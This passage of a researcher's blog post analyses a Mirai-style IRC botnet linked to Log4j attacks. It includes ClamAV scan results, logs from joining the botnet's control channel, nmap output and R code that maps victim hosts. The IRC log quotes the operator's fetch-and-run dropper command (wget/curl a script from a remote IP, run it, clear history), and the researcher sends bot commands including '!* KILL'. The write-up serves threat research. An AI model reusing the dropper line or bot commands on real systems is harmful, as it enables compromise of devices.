02_bin/8UsA.sh: OK
02_bin/Josho.arm5: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.arm6: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.arm7: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.m68k: Unix.Trojan.Mirai-6981989-0 FOUND
02_bin/Josho.mips: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.mpsl: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.ppc: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.sh4: Unix.Dropper.Mirai-7135890-0 FOUND
02_bin/Josho.x86: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/8UsA1.sh: OK
03_bin/Josho.arm: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.arm5: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.arm6: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.arm7: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.m68k: Unix.Trojan.Mirai-6981989-0 FOUND
03_bin/Josho.mips: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.mpsl: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.ppc: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.sh4: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.spc: Unix.Dropper.Mirai-7135890-0 FOUND
03_bin/Josho.x86: Unix.Dropper.Mirai-7135890-0 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 8604460
Engine version: 0.103.5
Scanned directories: 0
Scanned files: 31
Infected files: 28
Data scanned: 1.95 MB
Data read: 1.93 MB (ratio 1.01:1)
Time: 16.289 sec (0 m 16 s)
Start Date: 2022:01:22 15:26:10
End Date:   2022:01:22 15:26:27

Yields some assembly from the various binaries, which disassembled leads you to 51.161.53.197, with lots of IRC commands built into it. nmap on the host in question leads to default IRC 6667 being open.

For this botnet, the code is clearly identifiable as:

https://github.com/isdrupter/ziggystartux

Configured slightly differently, but remnants remain. Random real_name/user_name/nick of 4-9 capital letters, different for all three. Easy enough.

Buried in the assembly is also a channel name, “#mks2”. So we are ready to connect, time for Irssi again.

51.161.64.197:6667#mks2

[(status)] /connect 51.161.64.197 6667
01:36 -!- Irssi: Looking up 51.161.64.197
01:36 -!- Irssi: Connecting to 51.161.64.197 [51.161.64.197] port 6667
01:36 -!- Irssi: Connection to 51.161.64.197 established
01:36 !irc.cobalt.com *** Looking up your hostname...
01:36 !irc.cobalt.com *** Couldn't resolve your hostname; using your IP address instead
01:36 -!- Capabilities requested: multi-prefix
01:36 -!- Capabilities supported: account-notify away-notify multi-prefix userhost-in-names
01:36 -!- Capabilities acknowledged: multi-prefix
01:36 -!- Welcome to the Cobalt Stresser IRC Network WFHJCIMP!LAQPCO@[##bcable-redacted##]
01:36 -!- Your host is irc.cobalt.com, running version Unreal3.2.10.6
01:36 -!- This server was created Fri Jan 21 2022 at 10:59:36 EST
01:36 -!- irc.cobalt.com Unreal3.2.10.6 iowghraAsORTVSxNCWqBzvdHtGpI
          lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGjZ
01:36 -!- UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=30 CHANLIMIT=#:30 MAXLIST=b:60,e:60,I:60
          NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 are
          supported by this server
01:36 -!- WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=#
          PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTGZ
          NETWORK=Cobalt-Stresser CASEMAPPING=ascii EXTBAN=~,qjncrRa ELIST=MNUCT
          STATUSMSG=~&@%+ are supported by this server
01:36 -!- EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP,STARTTLS are supported by this server
01:36 -!- There are 240 users and 1 invisible on 1 servers
01:36 -!- 2 unknown connection(s)
01:36 -!- 2 channels formed
01:36 -!- I have 241 clients and 0 servers
01:36 -!- 241 343 Current local users 241, max 343
01:36 -!- 241 343 Current global users 241, max 343
01:36 -!- MOTD File is missing
01:36 -!- Mode change [+iw] for user WFHJCIMP
[(status)] /list
01:36 -!- Channel Users  Name
01:36 -!- #mks2 241 [+sntu]
01:36 -!- End of /LIST
[(status)] /j #mks2
01:37 -!- WFHJCIMP LAQPCO[@##bcable-redacted##] has joined #mks2
01:37 [Users #mks2]
01:37 [@Mambaa] [ WFHJCIMP]
01:37 -!- Irssi: #mks2: Total of 2 nicks [1 ops, 0 halfops, 0 voices, 1 normal]
01:37 -!- Channel #mks2 created Fri Jan 21 18:51:42 2022
01:37 -!- Irssi: Join to #mks2 was synced in 1 secs
01:37 -!- WFHJCIMP [LAQPCO@##bcable-redacted##] has joined #mks2
01:37 [Users #mks2]
01:37 [@Mambaa] [ WFHJCIMP]
01:37 -!- Irssi: #mks2: Total of 2 nicks [1 ops, 0 halfops, 0 voices, 1 normal]
01:37 -!- Channel #mks2 created Fri Jan 21 18:51:42 2022
01:37 -!- Irssi: Join to #mks2 was synced in 1 secs
04:45 -LXIIAI:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
06:11 -YJXZ:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
06:11 -SJCNRQSP:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
07:47 -LZDZRH:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
09:28 -JOJM:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
11:18 -IIRNETKI:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
13:58 <@Mambaa> !* SH nproc
14:04 -LMOMC:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
14:42 <@Mambaa> !* SH nproc
14:59 <@Mambaa> !* SH uname -a
15:14 <@Mambaa> !* SH nproc
17:19 <@Mambaa> !* SH cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.174.24.16/8UsA.sh; curl -O
                http://107.174.24.16/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; rm -rf 8UsA.sh; history -c
18:52 -JTDLHYXQ:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
[(status)] /whois Mambaa
01:39 -!- Mambaa [IceChat95@131.100.62.224]
01:39 -!-  ircname  : The Chat Cool People Use
01:39 -!-  channels : @#mks2
01:39 -!-  server   : irc.cobalt.com [Cobalt Net]
01:39 -!-  idle     : 0 days 1 hours 58 mins 17 secs [signon: Fri Jan 21 18:51:55 2022]
01:39 -!- End of WHOIS

NMAP results on 51.161.64.198:

21/tcp    open     ftp          vsftpd 3.0.2
22/tcp    open     ssh          OpenSSH 7.4 (protocol 2.0)
80/tcp    open     http         Apache httpd 2.4.6 ((CentOS))
666/tcp   open     doom?
3306/tcp  open     mysql        MySQL 5.5.68-MariaDB
|_irc-info: Unable to open connection
|_irc-info: Unable to open connection
|_irc-info: Unable to open connection
|_irc-info: Unable to open connection
|_irc-info: Unable to open connection
9100/tcp  open     jetdirect?
9101/tcp  open     jetdirect?
9102/tcp  open     jetdirect?
9103/tcp  open     jetdirect?

The port 666 is in line with the Josho.x86 Mirai variant they are dropping on people.

The problem here is that Auditorium mode was enabled by default. I could only IRC /whois 8 of these users at this point. Not a whole lot in a server full of 239 bots.

18:57 -!- Mambaa [IceChat95@131.100.62.224] has quit [Quit: Pull the pin and count to what?]
19:05 -!- You're now known as Mambaa
19:05 < Mambaa> !* VERSION

Getting the versions back, I was able to get usernames, and identify the usernames and hostnames from them. From there, I ran the IRC /whois script from before for some extra graphing goodies later.

19:10 < Mambaa> !* KILL
19:12 < Mambaa> !* VERSION

No response from the bots this time.

20:09 -YCOWYPRF:#mks2- I'm having a problem resolving my host, someone will have to SPOOFS me manually.
20:09 < Mambaa> !* VERSION

Manual /whois on the laterally compromised… good idea to squat for awhile.

20:09 < Mambaa> !* KILL
20:10 < Mambaa> !* VERSION
21:00 < Mambaa> !* VERSION
21:19 < Mambaa> !* VERSION

Looks like lateral compromise should have stopped.

R Setup

Libraries

library(ggplot2)

Source

https://bcable.net/x/Rproj/shared

source("shared/country_code_cleanup.R")
source("shared/themes.R")
source("shared/world_mapper.R")
irc_join_quits_botneta <- read.csv("rabbits/data/irc_joins_quits_botneta_geo.csv")
irc_whois_botneta <- read.csv("rabbits/data/irc_whois_botneta_geo.csv")
irc_whois_botnetb <- read.csv("rabbits/data/irc_whois_botnetb_geo.csv")

R Functions

add_country_code <- function(df){
    df$Country.Code <- df$Rwhois
    df$Country.Code[is.na(df$Rwhois)] <- df$rgeolocate[is.na(df$Rwhois)]
    df
}
signon_graph <- function(df, site_name){
    signon_dates <- as.POSIXct(
        df$Signon.Date[nchar(df$Signon.Date)!=0],
        format="%a %b %d %H:%M:%S %Y"
    )
    g <- ggplot(data.frame(Date=signon_dates), aes(x=Date))
    g <- g + labs(x="", y="Victims", title=paste0(
        c(site_name, ": Victim Signon Dates"),
        collapse=""
    ))
    g <- g + geom_histogram(bins=50)
    g <- g + theme_bw() %+replace% theme_fontfix()
    g
}
idle_graph <- function(df, site_name){
    idle_times <- df$Idle.Time[nchar(df$Idle.Time)!=0]
    idle_times_df <- data.frame(
        Days=as.numeric(sub(
            "([0-9]+) days ([0-9]+) hours ([0-9]+) mins ([0-9]+) secs", "\\1",
            idle_times
        )),
        Hours=as.numeric(sub(
            "([0-9]+) days ([0-9]+) hours ([0-9]+) mins ([0-9]+) secs", "\\2",
            idle_times
        )),
        Mins=as.numeric(sub(
            "([0-9]+) days ([0-9]+) hours ([0-9]+) mins ([0-9]+) secs", "\\3",
            idle_times
        )),
        Secs=as.numeric(sub(
            "([0-9]+) days ([0-9]+) hours ([0-9]+) mins ([0-9]+) secs", "\\4",
            idle_times
        ))
    )
    idle_times_df$Total.Seconds <- (
        (idle_times_df$Days*86400) +
        (idle_times_df$Hours*3600) +
        (idle_times_df$Mins*60) +
        idle_times_df$Secs
    )
    g <- ggplot(idle_times_df, aes(x=Total.Seconds))
    g <- g + labs(x="", y="Victims", title=paste0(
        c(site_name, ": Victim Idle Seconds"),
        collapse=""
    ))
    g <- g + geom_histogram(bins=50)
    g <- g + theme_bw() %+replace% theme_fontfix()
    g
}
theme_fontfix <- function(){
    theme(
        text=element_text(
            family="Sans", face="plain", size=30, hjust=0.5, vjust=0.5,
            angle=0, lineheight=2,
            margin=margin(0.5, 0.5, 0.5, 0.5, "cm"),
        ),
        plot.title=element_text(
            family="Sans", face="bold", size=40, hjust=0.5, vjust=0.5,
            angle=0, lineheight=2,
            margin=margin(0.5, 0.5, 0.5, 0.5, "cm"),
        )
    )
}

Victim R Maps and Graphs

Country codes pre-generated by Rwhois and rgeolocate packages in CRAN in an interactive session.

https://bcable.net/x/Rwhois

irc_whois_botneta <- add_country_code(irc_whois_botneta)
irc_join_quits_botneta <- add_country_code(irc_join_quits_botneta)
irc_join_quits_botneta$Country.Code.JQ <- irc_join_quits_botneta$Country.Code
irc_join_quits_botneta$Country.Code <- NA

irc_country_botneta <- merge(
    irc_whois_botneta, irc_join_quits_botneta, by="Hostname", all=TRUE
)
irc_country_botneta$Country.Code <- irc_country_botneta$Country.Code.x
irc_country_botneta$Country.Code[
    is.na(irc_country_botneta$Country.Code)
] <- irc_country_botneta$Country.Code.y[
    is.na(irc_country_botneta$Country.Code)
]
irc_country_botneta <- irc_country_botneta[
    !is.na(irc_country_botneta$Country.Code), c("Hostname", "Country.Code")
]

irc_country_botnetb <- add_country_code(irc_whois_botnetb)
irc_country_botnetb <- irc_country_botnetb[
    !is.na(irc_country_botnetb$Country.Code), c("Hostname", "Country.Code")
]
g <- world_mapper(country_code_cleanup(irc_country_botneta$Country.Code))
g <- g + labs(
    title=paste0(
        "irc.bashgo.pw: IRC Log4j Monero Botnet Identified Victim Hosts",
        collapse=""
    ), fill="Hosts", x="", y=""
)
g <- g + scale_fill_continuous(low="#000040", high="#0000FF", guide="colorbar")
g <- g + theme_worldfont()
g

plot of chunk botneta_worldmap

signon_graph(irc_whois_botneta, "irc.bashgo.pw")

plot of chunk botneta_signongraph

idle_graph(irc_whois_botneta, "irc.bashgo.pw")

plot of chunk botneta_idlegraph

g <- world_mapper(country_code_cleanup(irc_country_botnetb$Country.Code))
g <- g + labs(
    title=paste0(
        "irc.cobalt.com: IRC Log4j Monero Botnet Identified Victim Hosts",
        collapse=""
    ), fill="Hosts", x="", y=""
)
g <- g + scale_fill_continuous(low="#000040", high="#0000FF", guide="colorbar")
g <- g + theme_worldfont()
g

plot of chunk botnetb_worldmap

signon_graph(irc_whois_botnetb, "irc.cobalt.com")

plot of chunk botnetb_signongraph

idle_graph(irc_whois_botnetb, "irc.cobalt.com")

plot of chunk botnetb_idlegraph

Mapping of Attacks and Raw Logs

For further information about who is doing the attacking, rather than what is getting attacked, see here:

https://bcable.net/analysis-httpd-log4j_rawlogs.html

Boilerplate GeoIP Disclaimer

Geolocation based on IP address is not to be taken as entirely accurate as to the source of traffic or attacks conducted. There are many reasons for this, which include (but are not limited to):

Proxies, VPNs, and Tor

Large quantities of traffic, especially attack based traffic, will use a VPN or the Tor network (or some reasonable facsimile), to mask the origin of the traffic. This will in turn change the appearance of the location of origin. Usually, an attacker will also intentionally want the traffic to appear to come from somewhere that has some form of lesser legal jurisdiction, some form of lesser ability to police traffic, or come from a well known source of malicious attacks such as China or Russia.

For instance, the following log entry was generated by myself against my servers while sitting at my desk in the United States, but it gets geolocated as Russia because of how the packet was sent. This sort of masking is trivial to perform, even by a nine year old on a cellphone.

httpd_data[grep("/from/russia/with/logs", httpd_data$Request), c("Request", "Response.Code", "Country.Code")]

##                               Request Response.Code Country.Code
## 1 GET /from/russia/with/logs HTTP/1.1           404           RU

Vulnerable Servers and Botnets

Some locations will have a higher distribution of virtual servers than others, such as Silicon Valley or China. This can lead to larger quantities of vulnerable virtual machines and servers in those regions, and distort the resulting aggregate data.

Government Interference

It is possible that due to address assignment for governmental intelligence purposes or other economic or political reasons a nation could re-allocate address space and forge the identity similarly to a NAT (network address translation). They could also funnel information via VPN technologies for another nation.

Because most of these agreements are made in private, and due to the fact that most geolocation, RDAP, and WHOIS records are based on self-reporting, it is impossible to know the 100% true nature of geographic address assignment.

Weaknesses or errors in MaxMind, rgeolocate, RDAP, or WHOIS

This geolocation uses the rgeolocate package available in CRAN, and uses the internal country database that is shipped with it. There could be an error in the database shipped, there could be an error in the lookup code, etc. Bugs happen. I have no reason to believe that any false geolocation is being performed by these packages, however.

Also used is the self-reported RDAP or WHOIS systems which can frequently be self-reported falsely or misleadingly. Which of the systems (RDAP, WHOIS, or rgeolocate) used are disclosed when necessary.

Final Note

Despite these weaknesses, this doesn't change the fact that looking at this sort of data can be quite fun and interesting, and potentially enlightening. Generalized conclusions should not be made from this data or the maps herein. You have been warned.